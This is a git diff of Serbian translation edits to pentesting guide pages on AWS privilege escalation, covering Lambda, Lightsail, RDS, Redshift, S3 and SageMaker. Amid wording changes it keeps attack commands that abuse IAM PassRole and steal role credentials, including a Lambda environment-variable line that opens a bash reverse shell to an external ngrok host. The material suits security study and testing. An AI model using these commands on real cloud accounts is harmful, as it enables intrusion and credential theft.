+Korisnici sa **`iam:PassRole`, `lambda:CreateFunction` i `lambda:CreateEventSourceMapping`** dozvolama (i potencijalno `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **povećati privilegije** čak i bez `lambda:InvokeFunction`.\
+Mogu kreirati **Lambda funkciju sa zloćudnim kodom i dodeliti joj postojeću IAM ulogu**.
-Umesto da direktno pozivaju Lambda, korisnik postavlja ili koristi postojeću DynamoDB tabelu, povezujući je sa Lambdom putem mape izvora događaja. Ova postavka osigurava da se Lambda funkcija **automatski aktivira prilikom unosa novog stavke** u tabelu, bilo akcijom korisnika ili nekim drugim procesom, čime se indirektno poziva Lambda funkcija i izvršava kod sa dozvolama dodeljene IAM uloge.
+Umesto da direktno pozivaju Lambda, korisnik postavlja ili koristi postojeću DynamoDB tabelu, povezujući je sa Lambdom putem mape izvora događaja. Ova postavka osigurava da se Lambda funkcija **automatski aktivira prilikom unosa novog stavke** u tabelu, bilo od strane korisnika ili drugog procesa, čime se indirektno poziva Lambda funkcija i izvršava kod sa privilegijama dodeljene IAM uloge.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
-Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi mapiranje izvora događaja** za Lambda funkciju. Međutim, ako se DynamoDB ne koristi, korisnik mora **da kreira novu tabelu** sa omogućenom striming funkcijom:
+Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi mapiranje izvora događaja** za Lambda funkciju. Međutim, ako se DynamoDB ne koristi, korisnik mora **da kreira novu tabelu** sa omogućenom striming funkcionalnošću:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -113,16 +113,16 @@ aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn \
--enabled --starting-position LATEST
```
-Sa Lambda funkcijom povezanošću sa DynamoDB strimom, napadač može **indirektno aktivirati Lambda funkciju aktiviranjem DynamoDB strima**. To se može postići **ubacivanjem stavke** u DynamoDB tabelu:
+Sa Lambda funkcijom povezanošću sa DynamoDB strimom, napadač može **indirektno aktivirati Lambda tako što će aktivirati DynamoDB strim**. To se može postići **ubacivanjem stavke** u DynamoDB tabelu:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
-**Potencijalni uticaj:** Direktno privesc na ulogu lambda servisa koja je navedena.
+**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu koja je navedena.
### `lambda:AddPermission`
-Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo kakve dozvole** (ovo generiše politike zasnovane na resursima za dodeljivanje pristupa resursu):
+Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo koje dozvole** (ovo generiše politike zasnovane na resursima za dodeljivanje pristupa resursu):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn:
@@ -157,13 +157,13 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
-**Potencijalni uticaj:** Direktno privesc na ulogu lambda servisa koja se koristi.
+**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu koja se koristi.
### `lambda:UpdateFunctionConfiguration`
#### RCE putem env varijabli
-Sa ovim dozvolama je moguće dodati varijable okruženja koje će uzrokovati da Lambda izvrši proizvoljan kod. Na primer, u python-u je moguće zloupotrebiti varijable okruženja `PYTHONWARNING` i `BROWSER` da bi se python proces izvršio proizvoljne komande:
+Sa ovim dozvolama moguće je dodati varijable okruženja koje će uzrokovati da Lambda izvrši proizvoljan kod. Na primer, u python-u je moguće zloupotrebiti varijable okruženja `PYTHONWARNING` i `BROWSER` da bi se python proces izvršio proizvoljne komande:
```bash
aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
@@ -202,7 +202,7 @@ Na primer, biblioteka boto3 se učitava iz `/var/runtime/boto3` (4. pozicija).
#### Eksploatacija
-Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi sloj** funkciji lambda. Da biste izvršili proizvoljan kod, ovaj sloj treba da sadrži neku **biblioteku koju će lambda uvesti.** Ako možete da pročitate kod lambda, mogli biste to lako da pronađete, takođe imajte na umu da može biti moguće da lambda **već koristi sloj** i da možete **preuzeti** sloj i **dodati svoj kod** unutra.
+Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi sloj** funkciji lambda. Da biste izvršili proizvoljan kod, ovaj sloj treba da sadrži neku **biblioteku koju će lambda uvesti.** Ako možete da pročitate kod lambda, mogli biste to lako pronaći, takođe imajte na umu da može biti moguće da lambda **već koristi sloj** i da možete **preuzeti** sloj i **dodati svoj kod** unutra.
Na primer, pretpostavimo da lambda koristi biblioteku boto3, ovo će kreirati lokalni sloj sa poslednjom verzijom biblioteke:
```bash
@@ -221,16 +221,16 @@ aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
-I prikačite lambda sloj na funkciju žrtve:
+I prikačite lambda sloj na funkciju lambda žrtve:
```bash
aws lambda update-function-configuration \
--function-name \
--layers arn:aws:lambda:::layer:boto3:1 \
--timeout 300 #5min for rev shells
```
-Sledeći korak bi bio ili da **pozovemo funkciju** sami ako možemo ili da čekamo da **bude pozvana** normalnim sredstvima – što je sigurnija metoda.
+Sledeći korak bi bio da ili **pozovemo funkciju** sami ako možemo ili da čekamo da **bude pozvana** normalnim sredstvima – što je sigurnija metoda.
-**Skriveniji način za iskorišćavanje ove ranjivosti** može se naći u:
+**Sofisticiraniji način za iskorišćavanje ove ranjivosti** može se naći u:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -240,11 +240,11 @@ Sledeći korak bi bio ili da **pozovemo funkciju** sami ako možemo ili da čeka
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
-Možda sa tim dozvolama možete da kreirate funkciju i izvršite je pozivajući URL... ali nisam mogao da pronađem način da to testiram, pa mi javite ako vi uspete!
+Možda sa tim dozvolama možete kreirati funkciju i izvršiti je pozivajući URL... ali nisam mogao da pronađem način da to testiram, pa javite mi ako uspete!
### Lambda MitM
-Neki lambdas će **primati osetljive informacije od korisnika u parametrima.** Ako dobijete RCE u jednom od njih, možete exfiltrirati informacije koje drugi korisnici šalju, proverite to u:
+Neki lambdas će **primati osetljive informacije od korisnika u parametrima.** Ako dobijete RCE u jednom od njih, možete eksfiltrirati informacije koje drugi korisnici šalju, proverite to u:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
index e4d013265..afc773722 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
@@ -4,14 +4,14 @@
## Lightsail
-Za više informacija o Lightsail-u pogledajte:
+Za više informacija o Lightsail, pogledajte:
{{#ref}}
../aws-services/aws-lightsail-enum.md
{{#endref}}
> [!WARNING]
-> Važno je napomenuti da Lightsail **ne koristi IAM uloge koje pripadaju korisniku** već AWS upravljanom nalogu, tako da ne možete zloupotrebiti ovu uslugu za privesc. Međutim, **osetljivi podaci** kao što su kod, API ključevi i informacije o bazi podataka mogli bi se naći u ovoj usluzi.
+> Važno je napomenuti da Lightsail **ne koristi IAM uloge koje pripadaju korisniku** već AWS upravljanom nalogu, tako da ne možete zloupotrebiti ovu uslugu za privesc. Međutim, **osetljivi podaci** kao što su kod, API ključevi i informacije o bazi podataka mogli bi se pronaći u ovoj usluzi.
### `lightsail:DownloadDefaultKeyPair`
@@ -31,11 +31,11 @@ aws lightsail get-instance-access-details --instance-name
### `lightsail:CreateBucketAccessKey`
-Ova dozvola će vam omogućiti da dobijete ključ za pristup bucket-u:
+Ova dozvola će vam omogućiti da dobijete ključ za pristup kanti:
```bash
aws lightsail create-bucket-access-key --bucket-name
```
-**Potencijalni uticaj:** Pronađite osetljive informacije unutar kante.
+**Potencijalni uticaj:** Pronaći osetljive informacije unutar kante.
### `lightsail:GetRelationalDatabaseMasterUserPassword`
@@ -79,14 +79,14 @@ aws lightsail put-instance-public-ports \
### `lightsail:SetResourceAccessForBucket`
-Ova dozvola omogućava dodeljivanje pristupa instancama za bucket bez dodatnih akreditiva.
+Ova dozvola omogućava pristup instancama ka bucket-u bez dodatnih kredencijala.
```bash
aws set-resource-access-for-bucket \
--resource-name \
--bucket-name \
--access allow
```
-**Potencijalni Uticaj:** Potencijalni novi pristup kanticama sa osetljivim informacijama.
+**Potencijalni uticaj:** Potencijalni novi pristup kanticama sa osetljivim informacijama.
### `lightsail:UpdateBucket`
@@ -105,13 +105,13 @@ aws update-bucket --bucket-name --access-rules getObject=private,allowPu
### `lightsail:UpdateContainerService`
-Sa ovom dozvolom, napadač bi mogao da omogući pristup privatnim ECR-ima iz servisa kontejnera.
+Sa ovim dozvolama, napadač bi mogao da omogući pristup privatnim ECR-ima iz servisa kontejnera.
```bash
aws update-container-service \
--service-name \
--private-registry-access ecrImagePullerRole={isActive=boolean}
```
-**Potencijalni Uticaj:** Dobijanje osetljivih informacija iz privatnog ECR
+**Potencijalni uticaj:** Dobijanje osetljivih informacija iz privatnog ECR
### `lightsail:CreateDomainEntry`
@@ -131,6 +131,6 @@ aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
```
-**Potencijalni Uticaj:** Preuzimanje domena
+**Potencijalni uticaj:** Preuzimanje domena
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
index 4b208f0eb..38d56bdc2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
@@ -4,17 +4,17 @@
### `mediapackage:RotateChannelCredentials`
-Menja korisničko ime i lozinku prvog IngestEndpoint-a kanala. (Ova API je zastarela za RotateIngestEndpointCredentials)
+Menja korisničko ime i lozinku prvog IngestEndpoint-a kanala. (Ovaj API je zastareo za RotateIngestEndpointCredentials)
```bash
aws mediapackage rotate-channel-credentials --id
```
### `mediapackage:RotateIngestEndpointCredentials`
-Menja korisničko ime i lozinku prvog IngestEndpoint-a kanala. (Ovaj API je zastareo za RotateIngestEndpointCredentials)
+Menja korisničko ime i lozinku prvog IngestEndpoint-a kanala. (Ova API je zastarela za RotateIngestEndpointCredentials)
```bash
aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
```
-## References
+## Reference
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
index fb593b4d9..e3c061ff2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
@@ -4,7 +4,7 @@
## MQ
-Za više informacija o MQ, pogledajte:
+Za više informacija o MQ proverite:
{{#ref}}
../aws-services/aws-mq-enum.md
@@ -36,7 +36,7 @@ Ako broker koristi **LDAP** za autorizaciju sa **ActiveMQ**. Moguće je **promen
aws mq list-brokers
aws mq update-broker --broker-id --ldap-server-metadata=...
```
-Ako biste nekako mogli pronaći originalne akreditive korišćene od strane ActiveMQ, mogli biste izvesti MitM, ukrasti akreditive, koristiti ih na originalnom serveru i poslati odgovor (možda samo ponovnim korišćenjem ukradenih akreditiva mogli biste to uraditi).
+Ako biste nekako mogli pronaći originalne akreditive korišćene od strane ActiveMQ, mogli biste izvesti MitM, ukrasti akreditive, koristiti ih na originalnom serveru i poslati odgovor (možda samo ponovo koristeći ukradene akreditive mogli biste to uraditi).
**Potencijalni uticaj:** Ukrasti ActiveMQ akreditive
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
index 1ed8ae804..86b88d6f2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
@@ -1,4 +1,4 @@
-# AWS - Organizations Privesc
+# AWS - Organizacije Privesc
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
index d531ab9fd..eaffd8c87 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
@@ -27,7 +27,7 @@ aws rds modify-db-instance \
psql postgresql://:@:5432/
```
> [!WARNING]
-> Moraćete da budete u mogućnosti da **kontaktirate bazu podataka** (obično su dostupne samo iz unutrašnjih mreža).
+> Moraćete da možete da **kontaktirate bazu podataka** (obično su dostupne samo iz unutrašnjih mreža).
**Potencijalni uticaj:** Pronaći osetljive informacije unutar baza podataka.
@@ -42,15 +42,15 @@ Prema [**dokumentaciji**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide
> [!TIP]
> Ako pokrenete **`SELECT datname FROM pg_database;`** i pronađete bazu podataka pod nazivom **`rdsadmin`**, znate da ste unutar **AWS postgresql baze podataka**.
-Prvo možete proveriti da li je ova baza podataka korišćena za pristup bilo kojoj drugoj AWS usluzi. Možete to proveriti gledajući instalirane ekstenzije:
+Prvo možete proveriti da li je ova baza podataka korišćena za pristup bilo kojoj drugoj AWS usluzi. To možete proveriti gledajući instalirane ekstenzije:
```sql
SELECT * FROM pg_extension;
```
Ako pronađete nešto poput **`aws_s3`**, možete pretpostaviti da ova baza podataka ima **neku vrstu pristupa S3** (postoje i druge ekstenzije kao što su **`aws_ml`** i **`aws_lambda`**).
-Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`**, možete videti da li **klaster ima neku IAM ulogu prikačenu** u polju **`AssociatedRoles`**. Ako ima, možete pretpostaviti da je baza podataka **pripremljena za pristup drugim AWS uslugama**. Na osnovu **imena uloge** (ili ako možete dobiti **dozvole** uloge) mogli biste **pretpostaviti** koji dodatni pristup baza podataka ima.
+Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`**, možete videti da li **klaster ima neku IAM ulogu pridruženu** u polju **`AssociatedRoles`**. Ako ima, možete pretpostaviti da je baza podataka **pripremljena za pristup drugim AWS uslugama**. Na osnovu **imena uloge** (ili ako možete dobiti **dozvole** uloge) mogli biste **pogoditi** koji dodatni pristup baza podataka ima.
-Sada, da biste **pročitali datoteku unutar kante**, morate znati punu putanju. Možete je pročitati sa:
+Sada, da **pročitate datoteku unutar bucket-a**, potrebno je da znate punu putanju. Možete je pročitati sa:
```sql
// Create table
CREATE TABLE ttemp (col TEXT);
@@ -71,7 +71,7 @@ SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
```
-Ako imate **sirove AWS akreditive**, takođe ih možete koristiti za pristup S3 podacima sa:
+Ako imate **sirove AWS akreditive**, možete ih takođe koristiti za pristup S3 podacima sa:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
@@ -80,7 +80,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
-> Postgresql **ne treba da menja nijednu promenljivu parametarskih grupa** da bi mogao da pristupi S3.
+> Postgresql **ne treba da menja nijednu promenljivu u grupi parametara** da bi mogao da pristupi S3.
#### Mysql (Aurora)
@@ -89,9 +89,9 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
Unutar mysql-a pokrenite **`show variables;`** i ako promenljive kao što su **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, imaju vrednosti, možete pretpostaviti da je baza podataka spremna za pristup S3 podacima.
-Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`** možete proveriti da li klaster ima neku **povezanu ulogu**, što obično znači pristup AWS uslugama.
+Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`** možete proveriti da li klaster ima neku **povezanu ulogu**, što obično znači pristup AWS uslugama).
-Sada, da biste **pročitali datoteku unutar bucket-a** potrebno je da znate punu putanju. Možete je pročitati sa:
+Sada, da biste **pročitali datoteku unutar bucket-a** morate znati punu putanju. Možete je pročitati sa:
```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
@@ -109,7 +109,7 @@ Napomena da neki DB-ovi zahtevaju dodatne konfiguracije kao što je Mysql, koji
### `rds:CreateDBInstance`
-Samo sa ovom dozvolom napadač bi mogao da kreira **novu instancu unutar klastera** koji već postoji i ima **IAM ulogu** prikačenu. Neće moći da promeni lozinku glavnog korisnika, ali bi mogao da izloži novu instancu baze podataka internetu:
+Samo sa ovom dozvolom, napadač bi mogao da kreira **novu instancu unutar klastera** koji već postoji i ima **IAM ulogu** prikačenu. Neće moći da promeni lozinku glavnog korisnika, ali bi mogao da izloži novu instancu baze podataka internetu:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
@@ -124,10 +124,10 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
> [!NOTE]
> TODO: Test
-Napadač sa dozvolama `rds:CreateDBInstance` i `iam:PassRole` može **napraviti novu RDS instancu sa određenom ulogom**. Napadač može zatim potencijalno **pristupiti osetljivim podacima** ili izmeniti podatke unutar instance.
+Napadač sa dozvolama `rds:CreateDBInstance` i `iam:PassRole` može **napraviti novu RDS instancu sa određenom ulogom**. Napadač može potencijalno **pristupiti osetljivim podacima** ili izmeniti podatke unutar instance.
> [!WARNING]
-> Neki zahtevi za ulogu/profil instance koji se treba prikačiti (iz [**ovde**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
+> Neki zahtevi za ulogu/profil instance koji treba prikačiti (iz [**ovde**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> - Profil mora postojati u vašem nalogu.
> - Profil mora imati IAM ulogu koju Amazon EC2 ima dozvolu da preuzme.
@@ -135,7 +135,7 @@ Napadač sa dozvolama `rds:CreateDBInstance` i `iam:PassRole` može **napraviti
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
-**Potencijalni Uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.
+**Potencijalni uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.
### `rds:AddRoleToDBInstance`, `iam:PassRole`
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
index d5f080da6..2eef120f1 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
@@ -35,18 +35,18 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM
### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
-Moguće je **izmeniti glavnu lozinku** internog postgres (redshit) korisnika putem aws cli (mislim da su to dozvole koje su vam potrebne, ali ih još nisam testirao):
+Moguće je **modifikovati glavnu lozinku** internog postgres (redshit) korisnika putem aws cli (mislim da su to dozvole koje su vam potrebne, ali ih još nisam testirao):
```
aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’;
```
-**Potencijalni Uticaj:** Pronaći osetljive informacije unutar baza podataka.
+**Potencijalni Uticaj:** Pronađite osetljive informacije unutar baza podataka.
## Pristup Eksternim Uslugama
> [!WARNING]
-> Da biste pristupili svim sledećim resursima, moraćete da **navedete ulogu koju želite da koristite**. Redshift klaster **može imati dodeljenu listu AWS uloga** koje možete koristiti **ako znate ARN** ili možete jednostavno postaviti "**default**" da biste koristili podrazumevanu.
+> Da biste pristupili svim sledećim resursima, potrebno je da **navedete ulogu koju ćete koristiti**. Redshift klaster **može imati dodeljenu listu AWS uloga** koje možete koristiti **ako znate ARN** ili možete jednostavno postaviti "**default**" da biste koristili podrazumevanu.
-> Pored toga, kao što je [**objašnjeno ovde**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift takođe omogućava da se uloge kombinuju (pod uslovom da prva može da preuzme drugu) kako bi se dobio dalji pristup, ali samo **razdvajanjem** njih sa **zarezom**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
+> Pored toga, kao što je [**objašnjeno ovde**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift takođe omogućava kombinovanje uloga (pod uslovom da prva može da preuzme drugu) za dalji pristup, ali samo **razdvajanjem** njih sa **zarezom**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
### Lambdas
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
index 8493add64..92f37cc53 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
@@ -34,12 +34,12 @@ Na primer, napadač sa tim **dozvolama nad cloudformation kanticom** pod nazivom
]
}
```
-I otmica je moguća jer postoji **mali vremenski prozor od trenutka kada je šablon otpremljen** u bucket do trenutka kada je **šablon implementiran**. Napadač može jednostavno da kreira **lambda funkciju** u svom nalogu koja će **aktivirati kada se pošalje obaveštenje iz bucketa**, i **otme** **sadržaj** tog **bucketa**.
+I otmica je moguća jer postoji **mali vremenski prozor od trenutka kada je šablon otpremljen** u bucket do trenutka kada je **šablon implementiran**. Napadač može jednostavno da kreira **lambda funkciju** u svom nalogu koja će **pokrenuti kada se pošalje obaveštenje iz bucketa**, i **otme** **sadržaj** tog **bucketa**.
.png>)
Pacu modul [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) može se koristiti za automatizaciju ovog napada.\
-Za više informacija pogledajte originalno istraživanje: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+Za više informacija proverite originalno istraživanje: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
@@ -111,7 +111,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -138,7 +138,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-Napadač bi mogao da zloupotrebi ove dozvole da mu dodeli više pristupa određenim objektima unutar kanti.
+Napadač bi mogao da zloupotrebi ove dozvole da mu dodeli veći pristup određenim objektima unutar kanti.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
index ddcd33930..d34efddd2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
@@ -19,21 +19,21 @@ aws sagemaker create-presigned-notebook-instance-url \
```
Navigirajte do URL-a u pretraživaču i kliknite na \`Open JupyterLab\` u gornjem desnom uglu, zatim se pomerite do taba “Launcher” i u sekciji “Other” kliknite na dugme “Terminal”.
-Sada je moguće pristupiti metapodacima akreditiva IAM Role.
+Sada je moguće pristupiti metapodacima kredencijala IAM Role.
**Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je navedena.
### `sagemaker:CreatePresignedNotebookInstanceUrl`
-Ako su Jupyter **notebook-ovi već pokrenuti** na njemu i možete ih nabrojati sa `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im i ukrasti akreditive kao što je navedeno u prethodnoj tehnici**.
+Ako su Jupyter **notebook-ovi već pokrenuti** na njemu i možete ih nabrojati sa `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im i ukrasti kredencijale kao što je navedeno u prethodnoj tehnici**.
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name
```
-**Potencijalni Uticaj:** Privesc na sagemaker servisnu ulogu koja je povezana.
+**Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je povezana.
### `sagemaker:CreateProcessingJob,iam:PassRole`
-Napadač sa tim dozvolama može da **natera sagemaker da izvrši processingjob** sa sagemaker ulogom povezanu. Napadač može da naznači definiciju kontejnera koji će biti pokrenut u **AWS upravljanom ECS nalogu**, i **ukrade kredencijale IAM uloge koja je povezana**.
+Napadač sa tim dozvolama može naterati **sagemaker da izvrši processingjob** sa sagemaker ulogom koja je povezana. Napadač može odrediti definiciju kontejnera koji će biti pokrenut u **AWS upravljanom ECS nalogu**, i **ukrasti kredencijale povezane IAM uloge**.
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
@@ -49,15 +49,15 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
-Napadač sa tim dozvolama će moći da kreira obuku, **pokrećući proizvoljni kontejner** na njemu sa **priključenom ulogom**. Stoga, napadač će moći da ukrade kredencijale te uloge.
+Napadač sa tim dozvolama će moći da kreira trening posao, **pokrećući proizvoljni kontejner** na njemu sa **priključenom ulogom**. Stoga, napadač će moći da ukrade kredencijale te uloge.
> [!WARNING]
-> Ovaj scenario je teže iskoristiti nego prethodni jer morate da generišete Docker sliku koja će slati rev shell ili kredencijale direktno napadaču (ne možete da navedete početnu komandu u konfiguraciji obuke).
+> Ovaj scenario je teže iskoristiti nego prethodni jer morate generisati Docker sliku koja će slati rev shell ili kredencijale direktno napadaču (ne možete navesti početnu komandu u konfiguraciji trening posla).
>
> ```bash
> # Kreirajte docker sliku
> mkdir /tmp/rev
-> ## Imajte na umu da će obuka pozvati izvršnu datoteku pod nazivom "train"
+> ## Imajte na umu da će trening posao pozvati izvršnu datoteku pod nazivom "train"
> ## Zato stavljam rev shell u /bin/train
> ## Postavite vrednosti i
> cat > /tmp/rev/Dockerfile <